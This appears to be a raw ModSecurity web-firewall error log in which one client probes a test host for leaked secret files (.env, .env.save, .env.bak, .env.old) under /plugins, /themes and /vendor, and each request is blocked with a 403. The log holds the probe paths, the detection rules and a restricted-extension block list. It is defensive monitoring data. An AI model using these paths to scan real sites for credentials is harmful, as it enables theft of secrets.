[Fri Oct 24 20:58:39.247711 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.514643 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.514897 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.515070 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6IwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.671278 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.671492 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.671740 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.671907 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.952034 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.952222 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.952470 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:39.952643 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aPvMX-JZ4vgAgAbS8ck6JQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.145731 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.145997 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.146190 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.837946 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.838234 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:40.838467 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aPvMYOJZ4vgAgAbS8ck6JwAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:41.879333 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMYeJZ4vgAgAbS8ck6KAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:41.879522 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMYeJZ4vgAgAbS8ck6KAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:41.879769 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMYeJZ4vgAgAbS8ck6KAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:41.879945 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aPvMYeJZ4vgAgAbS8ck6KAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:42.766665 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMYuJZ4vgAgAbS8ck6KQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:42.766880 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMYuJZ4vgAgAbS8ck6KQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:42.767148 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMYuJZ4vgAgAbS8ck6KQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:42.767366 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aPvMYuJZ4vgAgAbS8ck6KQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.407293 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.407565 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KgAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:43.407736 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aPvMY-JZ4vgAgAbS8ck6KgAAAAs&quot;], referer: https://www.google.com/
